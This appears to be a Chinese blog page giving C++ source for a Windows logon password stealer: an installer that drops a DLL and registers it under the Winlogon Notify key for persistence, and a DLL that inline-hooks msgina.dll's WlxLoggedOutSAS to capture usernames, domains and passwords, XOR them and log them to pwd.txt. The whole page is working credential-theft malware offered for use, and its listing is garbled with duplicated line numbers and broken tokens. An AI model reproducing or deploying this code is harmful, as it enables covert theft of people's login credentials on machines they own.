基于VC++2010实现截获Windows 7密码

时间：2021-12-18 06:03:12

Windows外壳，安装Windows密码截获器

  
 
 
    

  1. void dey()//解密 
    2. 
   
  
  
  2. { 
    3. 
   
  
  
  3. printf("/r/n请不要移动原密码文件!"); 
    4. 
   
  
  
  4. system("pause"); 
    5. 
   
  
  
  5. char buffer[10000]; 
    6. 
   
  
  
  6. ZeroMemory(buffer,10000); 
    7. 
   
  
  
  7. char LogPath[255] = {0}; 
    8. 
   
  
  
  8. GetSystemDirectory( LogPath , MAX_PATH); 
    9. 
   
  
  
  9. lstrcat( LogPath, "//pwd.txt"); 
    10. 
   
  
  
  10. HANDLE hfile = CreateFile( 
    11. 
   
  
  
  11. LogPath, 
    12. 
   
  
  
  12. GENERIC_READ,  
    13. 
   
  
  
  13. FILE_SHARE_WRITE, 
    14. 
   
  
  
  14. 0, 
    15. 
   
  
  
  15. OPEN_ALWAYS, 
    16. 
   
  
  
  16. FILE_ATTRIBUTE_NORMAL, 
    17. 
   
  
  
  17. 0); 
    18. 
   
  
  
  18. if(!hfile) 
    19. 
   
  
  
  19. { 
    20. 
   
  
  
  20. printf("打开文件失败!"); 
    21. 
   
  
  
  21. return; 
    22. 
   
  
  
  22. } 
    23. 
   
  
  
  23. DWORD st; 
    24. 
   
  
  
  24. int a=ReadFile(hfile,buffer,10000,&st,0); 
    25. 
   
  
  
  25. if(!a) 
    26. 
   
  
  
  26. { 
    27. 
   
  
  
  27. printf("读取失败!"); 
    28. 
   
  
  
  28. return; 
    29. 
   
  
  
  29. } 
    30. 
   
  
  
  30. for(int i = 0;i<strlen(buffer);i++) 
    31. 
   
  
  
  31. { 
    32. 
   
  
  
  32. buffer[i]=buffer[i]^3; 
    33. 
   
  
  
  33. } 
    34. 
   
  
  
  34. printf("解密内容为：/r/n%s",buffer); 
    35. 
   
  
  
  35. return; 
    36. 
   
  
  
  36. } 
    37. 
   
  
  
  37. bool installed(); //判断是否已经安装 
    38. 
   
  
  
  38. void installe()  //安装函数 
    39. 
   
  
  
  39. { 
    40. 
   
  
  
  40. if(installed()) 
    41. 
   
  
  
  41. { 
    42. 
   
  
  
  42. printf("已经安装过了!"); 
    43. 
   
  
  
  43. return;  
    44. 
   
  
  
  44. } 
    45. 
   
  
  
  45. HRSRC hResInfo; 
    46. 
   
  
  
  46. HGLOBAL hResData; 
    47. 
   
  
  
  47. DWORD dwSize, dwWritten; 
    48. 
   
  
  
  48. LPBYTE p; 
    49. 
   
  
  
  49. HANDLE hFile; 
    50. 
   
  
  
  50. hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_DLL1), "dll"); 
    51. 
   
  
  
  51. dwSize = SizeofResource(NULL, hResInfo); 
    52. 
   
  
  
  52. hResData = LoadResource(NULL, hResInfo); 
    53. 
   
  
  
  53. p = (LPBYTE)GlobalAlloc(GPTR, dwSize); 
    54. 
   
  
  
  54. CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);//定位资源 
    55. 
   
  
  
  55. char pfile[200]; 
    56. 
   
  
  
  56. GetWindowsDirectory(pfile, 200); 
    57. 
   
  
  
  57. strcat(pfile,"//GetPwd.dll");//C:/WINDOWS/ 
    58. 
   
  
  
  58. hFile = CreateFile(pfile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); 
    59. 
   
  
  
  59. WriteFile(hFile, (LPCVOID)p,dwSize, &dwWritten, NULL); 
    60. 
   
  
  
  60. CloseHandle(hFile); 
    61. 
   
  
  
  61. GlobalFree((HGLOBAL)p); 
    62. 
   
  
  
  62. HKEY hkey;  
    63. 
   
  
  
  63. if(ERROR_SUCCESS==RegCreateKey(HKEY_LOCAL_MACHINE, 
    64. 
   
  
  
  64. "SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon//Notify//GetPwd//", 
    65. 
   
  
  
  65. &hkey) 
    66. 
   
  
  
  66. ) 
    67. 
   
  
  
  67. { 
    68. 
   
  
  
  68. char * name3 ="dog";  
    69. 
   
  
  
  69. RegSetValueEx(hkey,"dllname",0,REG_SZ,(const unsigned char *)pfile,strlen(pfile)); 
    70. 
   
  
  
  70. RegSetValueEx(hkey,"startup",0,REG_SZ,(const unsigned char *)name3,strlen("dog")); 
    71. 
   
  
  
  71. printf("安装成功!"); 
    72. 
   
  
  
  72. } 
    73. 
   
  
  
  73. else 
    74. 
   
  
  
  74. { 
    75. 
   
  
  
  75. printf("安装失败!"); 
    76. 
   
  
  
  76. return; 
    77. 
   
  
  
  77. } 
    78. 
   
  
  
  78. } 
    79. 
   
  
  
  79. bool installed() 
    80. 
   
  
  
  80. { 
    81. 
   
  
  
  81. HKEY hkey;  
    82. 
   
  
  
  82. char sz[256];  
    83. 
   
  
  
  83. DWORD dwtype, sl = 256;  
    84. 
   
  
  
  84. if(ERROR_SUCCESS != RegOpenKeyEx(HKEY_LOCAL_MACHINE,  
    85. 
   
  
  
  85. "SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon//Notify//GetPwd", 
    86. 
   
  
  
  86. NULL, KEY_ALL_ACCESS, &hkey) //打开失败，表示没有安装 
    87. 
   
  
  
  87. ) 
    88. 
   
  
  
  88. { 
    89. 
   
  
  
  89. RegCloseKey(hkey);  
    90. 
   
  
  
  90. return false; 
    91. 
   
  
  
  91. } 
    92. 
   
  
  
  92. RegCloseKey(hkey);  
    93. 
   
  
  
  93. return true; 
    94. 
   
  
  
  94. } 
    95. 
   
  
  
  95. void usag()//用法提示 
    96. 
   
  
  
  96. { 
    97. 
   
  
  
  97. printf("example:/r/n"); 
    98. 
   
  
  
  98. printf("/r/n Install: getpwd.exe installe"); 
    99. 
   
  
  
  99. printf("/r/n Decryp : getpwd.exe Decryp /r/n"); 
    100. 
   
  
  
  100. } 
    101. 
   
  
  
  101. int main(int argc, char* argv[]) 
    102. 
   
  
  
  102. { 
    103. 
   
  
  
  103. if(!lstrcmpi(argv[1],"installe"))// 
    104. 
   
  
  
  104. { 
    105. 
   
  
  
  105. installe(); 
    106. 
   
  
  
  106. return 0; 
    107. 
   
  
  
  107. } 
    108. 
   
  
  
  108. else if(!lstrcmpi(argv[1], "Decryp")) 
    109. 
   
  
  
  109. { 
    110. 
   
  
  
  110. dey(); 
    111. 
   
  
  
  111. return 0; 
    112. 
   
  
  
  112. } 
    113. 
   
  
  
  113. usag(); 
    114. 
   
  
  
  114. return 0; 
    115. 
   
  
  
  115. } 
    116.

密码截获

  
 
 
    

  1. #define WLX_SAS_ACTION_LOGON  (1)  
    2. 
   
  
  
  2. 
DWORD WINAPI StartHook(LPVOID lpParameter);  

    3. 
   
  
  
  3. 
typedef struct _WLX_MPR_NOTIFY_INFO {     

    4. 
   
  
  
  4. 
PWSTR   pszUserName;      

    5. 
   
  
  
  5. 
PWSTR   pszDomain;    

    6. 
   
  
  
  6. 
PWSTR   pszPassword;      

    7. 
   
  
  
  7. 
PWSTR   pszOldPassword;  

    8. 
   
  
  
  8. } WLX_MPR_NOTIFY_INFO, * PWLX_MPR_NOTIFY_INFO;  
    9. 
   
  
  
  9. 
typedef int (WINAPI* WlxLoggedOutSAS)(   

    10. 
   
  
  
  10. 
//定义函数原型，以便将数据转发给系统  

    11. 
   
  
  
  11. 
PVOID  pWlxContext,   

    12. 
   
  
  
  12. 
DWORD dwSasType,  

    13. 
   
  
  
  13. PLUID  pAuthenticationId,  
    14. 
   
  
  
  14. PSIDpLogonSid,  
    15. 
   
  
  
  15. PDWORD   pdwOptions,  
    16. 
   
  
  
  16. 
PHANDLE phToken,  

    17. 
   
  
  
  17. PWLX_MPR_NOTIFY_INFOpNprNotifyInfo,  
    18. 
   
  
  
  18. 
PVOID * pProfile  

    19. 
   
  
  
  19. );  
    20. 
   
  
  
  20. 
int   WINAPI FunNewADDR(  

    21. 
   
  
  
  21. 
PVOID  pWlxContext,  

    22. 
   
  
  
  22. 
DWORD dwSasType,  

    23. 
   
  
  
  23. PLUID pAuthenticationId,  
    24. 
   
  
  
  24. PSID  pLogonSid,  
    25. 
   
  
  
  25. PDWORD  pdwOptions,  
    26. 
   
  
  
  26. 
PHANDLE phToken,  

    27. 
   
  
  
  27. PWLX_MPR_NOTIFY_INFO  prNotifyInfo,  
    28. 
   
  
  
  28. 
PVOID * pProfile);  

    29. 
   
  
  
  29. 
//自定义接管WlxLoggedOutSAS的函数，形参保持一致  

    30. 
   
  
  
  30. 
void WriteLog(   

    31. 
   
  
  
  31. PWLX_MPR_NOTIFY_INFOpNprNotifyInfo  
    32. 
   
  
  
  32. 
);//声明保存用户名密码函数原型  

    33. 
   
  
  
  33. 
int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi);  

    34. 
   
  
  
  34. 
void WriteCurrentTime();  

    35. 
   
  
  
  35. 
void HookWlxLoggedOutSAS();  

    36. 
   
  
  
  36. 
//执行HOOK  

    37. 
   
  
  
  37. 
void UnHookWlxLoggedOutSAS();  

    38. 
   
  
  
  38. 
//撤销HOOK  

    39. 
   
  
  
  39. 
bool isWin2K()//判断操作系统版本  

    40. 
   
  
  
  40. {  
    41. 
   
  
  
  41. 
DWORD   winVer;     

    42. 
   
  
  
  42. OSVERSIONINFO   *osvi;        
    43. 
   
  
  
  43. winVer=GetVersion();     
    44. 
   
  
  
  44. 
if(winVer<0x80000000)  

    45. 
   
  
  
  45. {   
    46. 
   
  
  
  46. 
osvi=   (OSVERSIONINFO   *)malloc(sizeof(OSVERSIONINFO));     

    47. 
   
  
  
  47. 
if   (osvi!=NULL)  

    48. 
   
  
  
  48. {     
    49. 
   
  
  
  49. 
memset(osvi,0,sizeof(OSVERSIONINFO));     

    50. 
   
  
  
  50. 
osvi->dwOSVersionInfoSize=sizeof(OSVERSIONINFO);     

    51. 
   
  
  
  51. GetVersionEx(osvi);     
    52. 
   
  
  
  52. 
if(osvi->dwMajorVersion==5L&&osvi->dwMinorVersion==0L)  

    53. 
   
  
  
  53. {  
    54. 
   
  
  
  54. free(osvi);    
    55. 
   
  
  
  55. 
return true;  

    56. 
   
  
  
  56. }  
    57. 
   
  
  
  57. }     
    58. 
   
  
  
  58. }     
    59. 
   
  
  
  59. free(osvi);    
    60. 
   
  
  
  60. 
return   false;     

    61. 
   
  
  
  61. }  
    62. 
   
  
  
  62. 
#pragma pack(1)//对齐字节  

    63. 
   
  
  
  63. 
struct HookTable{  

    64. 
   
  
  
  64. HMODULEhMsgina;  
    65. 
   
  
  
  65. WlxLoggedOutSAS OldDDR;  
    66. 
   
  
  
  66. WlxLoggedOutSAS NewADDR;  
    67. 
   
  
  
  67. unsigned charOldCode[6];  
    68. 
   
  
  
  68. unsigned charJmpCode[6];  
    69. 
   
  
  
  69. 
};//自定义的结构体  

    70. 
   
  
  
  70. HookTable hooktable = {    
    71. 
   
  
  
  71. 0 ,  
    72. 
   
  
  
  72. 0 ,   
    73. 
   
  
  
  73. &FunNewADDR ,  
    74. 
   
  
  
  74. 
"/x8B/xFF/x55/x8B/xEC", //前5个字节  

    75. 
   
  
  
  75. 
"/xE9/x00/x00/x00/x00"  //e9 ,jmp  

    76. 
   
  
  
  76. };  
    77. 
   
  
  
  77. /*  
    78. 
   
  
  
  78. 
#pragma pack()  

    79. 
   
  
  
  79. 
BOOL APIENTRY DllMain( HANDLE hModule,   

    80. 
   
  
  
  80. 
DWORD  ul_reason_for_call,   

    81. 
   
  
  
  81. 
LPVOID lpReserved  

    82. 
   
  
  
  82.  )  
    83. 
   
  
  
  83. {  
    84. 
   
  
  
  84. 
if(isWin2K())  

    85. 
   
  
  
  85. 
//win2K和xp、2003的前五个字节不同  

    86. 
   
  
  
  86. {  
    87. 
   
  
  
  87. 
hooktable.OldCode[0] ='/x55';  

    88. 
   
  
  
  88. 
hooktable.OldCode[1] ='/x8B';  

    89. 
   
  
  
  89. 
hooktable.OldCode[2] ='/xEC';  

    90. 
   
  
  
  90. 
hooktable.OldCode[3] ='/x83';  

    91. 
   
  
  
  91. 
hooktable.OldCode[4] ='/xEC';  

    92. 
   
  
  
  92. }  
    93. 
   
  
  
  93. 
switch (ul_reason_for_call)  

    94. 
   
  
  
  94. {  
    95. 
   
  
  
  95. 
case DLL_PROCESS_ATTACH:  

    96. 
   
  
  
  96. 
HANDLE hthread = CreateThread( 0 ,   

    97. 
   
  
  
  97. 0 ,   
    98. 
   
  
  
  98. LPTHREAD_START_ROUTINE(StartHook) ,   
    99. 
   
  
  
  99. 0 ,   
    100. 
   
  
  
  100. 0 ,   
    101. 
   
  
  
  101. 0);  
    102. 
   
  
  
  102. CloseHandle( hthread );  
    103. 
   
  
  
  103. 
break;  

    104. 
   
  
  
  104. }  
    105. 
   
  
  
  105. 
return TRUE;  

    106. 
   
  
  
  106. }  
    107. 
   
  
  
  107. 
DWORD WINAPI StartHook(LPVOID lpParameter)  

    108. 
   
  
  
  108. {  
    109. 
   
  
  
  109. 
hooktable.hMsgina = GetModuleHandle( _T("msgina.dll"));  

    110. 
   
  
  
  110. 
if ( hooktable.hMsgina == NULL)  

    111. 
   
  
  
  111. {  
    112. 
   
  
  
  112. 
return 0 ;  

    113. 
   
  
  
  113. }  
    114. 
   
  
  
  114. 
hooktable.OldDDR = (WlxLoggedOutSAS)GetProcAddress( hooktable.hMsgina , _T("WlxLoggedOutSAS") );  

    115. 
   
  
  
  115. 
//得到原始函数地址，等下撤销HOOK会用到  

    116. 
   
  
  
  116. 
if (hooktable.OldDDR == NULL)  

    117. 
   
  
  
  117. {  
    118. 
   
  
  
  118. 
return 0 ;  

    119. 
   
  
  
  119. }  
    120. 
   
  
  
  120. 
unsigned char *p = (unsigned char *)hooktable.OldDDR;  

    121. 
   
  
  
  121. 
int *OpCode = (int *)&hooktable.JmpCode[1];//  

    122. 
   
  
  
  122. 
int Code = (int)hooktable.NewADDR - (int)hooktable.OldDDR - 5;  

    123. 
   
  
  
  123. *OpCode = Code;  
    124. 
   
  
  
  124. HookWlxLoggedOutSAS();  
    125. 
   
  
  
  125. 
return 0;  

    126. 
   
  
  
  126. }  
    127. 
   
  
  
  127. 
void HookWlxLoggedOutSAS()  

    128. 
   
  
  
  128. {  
    129. 
   
  
  
  129. 
DWORD OldProtect = NULL;  

    130. 
   
  
  
  130. VirtualProtect( hooktable.OldDDR ,  
    131. 
   
  
  
  131. 5 ,  
    132. 
   
  
  
  132. PAGE_EXECUTE_READWRITE ,  
    133. 
   
  
  
  133. &OldProtect  
    134. 
   
  
  
  134. 
);//内存访问权限  

    135. 
   
  
  
  135. 
unsigned char *p = (unsigned char *)hooktable.OldDDR;  

    136. 
   
  
  
  136. 
for (int i=0 ;  i < 5 ; i++ )  

    137. 
   
  
  
  137. {  
    138. 
   
  
  
  138. p[i] = hooktable.JmpCode[i];  
    139. 
   
  
  
  139. }  
    140. 
   
  
  
  140. VirtualProtect( hooktable.OldDDR ,  
    141. 
   
  
  
  141. 5 ,  
    142. 
   
  
  
  142. OldProtect ,  
    143. 
   
  
  
  143. &OldProtect   
    144. 
   
  
  
  144. );  
    145. 
   
  
  
  145. 
return;  

    146. 
   
  
  
  146. }  
    147. 
   
  
  
  147. 
void UnHookWlxLoggedOutSAS()  

    148. 
   
  
  
  148. {  
    149. 
   
  
  
  149. 
DWORD OldProtect = NULL;  

    150. 
   
  
  
  150. VirtualProtect( hooktable.OldDDR ,  
    151. 
   
  
  
  151. 5 ,   
    152. 
   
  
  
  152. PAGE_EXECUTE_READWRITE ,  
    153. 
   
  
  
  153. &OldProtect );  
    154. 
   
  
  
  154. 
unsigned char *p = (unsigned char *)hooktable.OldDDR;  

    155. 
   
  
  
  155. 
for (int i=0 ;  i < 5 ; i++ )  

    156. 
   
  
  
  156. {  
    157. 
   
  
  
  157. p[i] = hooktable.OldCode[i];  
    158. 
   
  
  
  158. }  
    159. 
   
  
  
  159. VirtualProtect( hooktable.OldDDR ,  
    160. 
   
  
  
  160. 5 ,  
    161. 
   
  
  
  161. OldProtect ,  
    162. 
   
  
  
  162. &OldProtect );  
    163. 
   
  
  
  163. 
return;  

    164. 
   
  
  
  164. }  
    165. 
   
  
  
  165. 
char pBuffer[1124];  

    166. 
   
  
  
  166. 
void WriteLog(PWLX_MPR_NOTIFY_INFOpNprNotifyInfo)  

    167. 
   
  
  
  167. 
//主要是一些文件操作  

    168. 
   
  
  
  168. {  
    169. 
   
  
  
  169. 
int size_u = lstrlenW( pNprNotifyInfo->pszUserName );  

    170. 
   
  
  
  170. size_u += lstrlenW( pNprNotifyInfo->pszDomain );  
    171. 
   
  
  
  171. size_u += lstrlenW( pNprNotifyInfo->pszPassword );  
    172. 
   
  
  
  172. size_u += lstrlenW( pNprNotifyInfo->pszOldPassword );  
    173. 
   
  
  
  173. 
unsigned short *pWBuffer = (unsigned short *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );  

    174. 
   
  
  
  174. 
unsigned short *tWBuffer = (unsigned short *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );  

    175. 
   
  
  
  175. 
char pBuffer1[1124];  

    176. 
   
  
  
  176. 
char *pwd =(char *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );  

    177. 
   
  
  
  177. 
char *pwd2 =(char *)GlobalAlloc( GMEM_FIXED , size_u + 1024*3 );  

    178. 
   
  
  
  178. ZeroMemory( pWBuffer  , size_u + 1024 );  
    179. 
   
  
  
  179. ZeroMemory( pBuffer  , size_u + 1024 );  
    180. 
   
  
  
  180. ZeroMemory( pBuffer1 , size_u + 1024 );  
    181. 
   
  
  
  181. 
if ( !pBuffer )  

    182. 
   
  
  
  182. {  
    183. 
   
  
  
  183. 
return;  

    184. 
   
  
  
  184. 
}else 

    185. 
   
  
  
  185. {  
    186. 
   
  
  
  186. WriteCurrentTime();  
    187. 
   
  
  
  187. wsprintfW( pWBuffer ,  
    188. 
   
  
  
  188. 
L"/r/nUser= %s /r/nDomain  = %s/r/nPassWord = %s /r/nOldPass = %s/r/n" ,  

    189. 
   
  
  
  189. pNprNotifyInfo->pszUserName ,   
    190. 
   
  
  
  190. pNprNotifyInfo->pszDomain ,  
    191. 
   
  
  
  191. pNprNotifyInfo->pszPassword,  
    192. 
   
  
  
  192. pNprNotifyInfo->pszOldPassword   
    193. 
   
  
  
  193. );  
    194. 
   
  
  
  194. WideToByte( pBuffer ,  
    195. 
   
  
  
  195. pWBuffer ,  
    196. 
   
  
  
  196. lstrlenW( pWBuffer )  
    197. 
   
  
  
  197. );  
    198. 
   
  
  
  198. }  
    199. 
   
  
  
  199. 
char LogPath[MAX_PATH] = {0};  

    200. 
   
  
  
  200. GetSystemDirectory( LogPath , MAX_PATH);  
    201. 
   
  
  
  201. 
lstrcat( LogPath , "//pwd.txt");  

    202. 
   
  
  
  202. 
HANDLE hfile = CreateFile(  

    203. 
   
  
  
  203. LogPath ,   
    204. 
   
  
  
  204. GENERIC_WRITE ,   
    205. 
   
  
  
  205. FILE_SHARE_WRITE ,  
    206. 
   
  
  
  206. 0 ,  
    207. 
   
  
  
  207. OPEN_ALWAYS,  
    208. 
   
  
  
  208. FILE_ATTRIBUTE_NORMAL ,  
    209. 
   
  
  
  209. 0  );  
    210. 
   
  
  
  210. 
if (hfile != INVALID_HANDLE_VALUE)  

    211. 
   
  
  
  211. {  
    212. 
   
  
  
  212. 
unsigned long ret;  

    213. 
   
  
  
  213. SetFilePointer( hfile , -1 ,  0 , FILE_END);  
    214. 
   
  
  
  214. 
int i=0;  

    215. 
   
  
  
  215. SYSTEMTIME st;  
    216. 
   
  
  
  216. 
int b;  

    217. 
   
  
  
  217. 
for(;i<strlen(pBuffer);i++)  

    218. 
   
  
  
  218. {  
    219. 
   
  
  
  219. 
pBuffer[i] = pBuffer[i] ^ 3;//加密采用异或方式  

    220. 
   
  
  
  220. }  
    221. 
   
  
  
  221. WriteFile( hfile , pBuffer , lstrlen( pBuffer ) ,  &ret , 0 );  
    222. 
   
  
  
  222. CloseHandle( hfile );  
    223. 
   
  
  
  223. }  
    224. 
   
  
  
  224. GlobalFree( pWBuffer );  
    225. 
   
  
  
  225. GlobalFree( pBuffer );  
    226. 
   
  
  
  226. 
return;  

    227. 
   
  
  
  227. }  
    228. 
   
  
  
  228. 
void WriteCurrentTime()  

    229. 
   
  
  
  229. {  
    230. 
   
  
  
  230. SYSTEMTIME st;  
    231. 
   
  
  
  231. 
DWORD ret = 0;  

    232. 
   
  
  
  232. GetLocalTime(&st);  
    233. 
   
  
  
  233. 
wsprintf( pBuffer , "/r/n%d/%d/%d/%d:%d:%d" ,  

    234. 
   
  
  
  234. st.wYear ,  
    235. 
   
  
  
  235. st.wMonth ,  
    236. 
   
  
  
  236. st.wDay ,  
    237. 
   
  
  
  237. st.wHour ,  
    238. 
   
  
  
  238. st.wMinute,  
    239. 
   
  
  
  239. st.wSecond   
    240. 
   
  
  
  240. );  
    241. 
   
  
  
  241. }  
    242. 
   
  
  
  242. 
int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi)  

    243. 
   
  
  
  243. {  
    244. 
   
  
  
  244. 
return WideCharToMultiByte( CP_ACP ,  

    245. 
   
  
  
  245. WC_COMPOSITECHECK ,  
    246. 
   
  
  
  246. sz_source ,  
    247. 
   
  
  
  247. -1 ,  
    248. 
   
  
  
  248. sz_target ,  
    249. 
   
  
  
  249. size_ansi ,  
    250. 
   
  
  
  250. 0 ,  
    251. 
   
  
  
  251. 0 );  
    252. 
   
  
  
  252. }  
    253. 
   
  
  
  253. 
int WINAPI FunNewADDR(  

    254. 
   
  
  
  254. 
PVOID   pWlxContext,  

    255. 
   
  
  
  255. 
DWORD   dwSasType,  

    256. 
   
  
  
  256. PLUID   pAuthenticationId,  
    257. 
   
  
  
  257. PSIDpLogonSid,  
    258. 
   
  
  
  258. PDWORD  pdwOptions,  
    259. 
   
  
  
  259. 
PHANDLE phToken,  

    260. 
   
  
  
  260. PWLX_MPR_NOTIFY_INFOpNprNotifyInfo,  
    261. 
   
  
  
  261. 
PVOID * pProfile  

    262. 
   
  
  
  262. )  
    263. 
   
  
  
  263. {  
    264. 
   
  
  
  264. UnHookWlxLoggedOutSAS();  
    265. 
   
  
  
  265. 
//当系统jmp到我们自己的函数时先解除HOOK  

    266. 
   
  
  
  266. 
int i = hooktable.OldDDR(pWlxContext  ,  

    267. 
   
  
  
  267. dwSasType ,   
    268. 
   
  
  
  268. pAuthenticationId ,  
    269. 
   
  
  
  269. pLogonSid ,  
    270. 
   
  
  
  270. pdwOptions ,  
    271. 
   
  
  
  271. phToken ,  
    272. 
   
  
  
  272. pNprNotifyInfo,  
    273. 
   
  
  
  273. pProfile  
    274. 
   
  
  
  274. );  
    275. 
   
  
  
  275. 
if (i == WLX_SAS_ACTION_LOGON )//  

    276. 
   
  
  
  276. {  
    277. 
   
  
  
  277. WriteLog( pNprNotifyInfo );  
    278. 
   
  
  
  278. }  
    279. 
   
  
  
  279. 
return i;  

    280. 
   
  
  
  280. }  
    281. 
   
  
  
  281. 
extern "C" __declspec(dllexport) void start()  

    282. 
   
  
  
  282. {  
    283. 
   
  
  
  283. 
return;  

    284. 
   
  
  
  284. }  
    285.

 

标签：

相关文章